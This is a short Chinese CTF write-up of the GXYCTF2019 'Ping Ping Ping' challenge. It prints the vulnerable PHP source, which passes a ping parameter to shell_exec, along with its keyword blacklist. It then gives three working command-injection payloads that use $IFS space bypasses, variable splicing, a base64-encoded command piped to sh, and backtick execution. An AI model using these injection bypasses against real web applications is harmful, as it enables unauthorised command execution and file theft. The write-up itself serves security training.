web-[GXYCTF2019]Ping Ping Ping

题目要点

• linux常见绕过方法
  $IFS$9(空格)

• 命令执行变量拼接
  /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

• 过滤bash用sh执行
  echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

• 内联执行
  将反引号内命令的输出作为输入执行

题目内容

解题

打开链接，提示 /?ip在url输入参数
先随便输入
应该是Linux命令。尝试拼接命令。

http://2b6f3e94-035c-4feb-b2c5-d92d4eb7b42b.node3.buuoj.cn/?ip=127.0.0.1;cat%20index.php
返回结果：
/?ip= fxck your space!

过滤了空格。（$IFS$9 绕过）

http://2b6f3e94-035c-4feb-b2c5-d92d4eb7b42b.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9index.php
返回结果：
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>

方法一：命令执行变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方法二：过滤bash用sh执行

/?ip=127.0.0.1;echo$IFS\$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

方法三：内联执行（将反引号内命令的输出作为输入执行）

/?ip=127.0.0.1;cat$IFS$9`ls`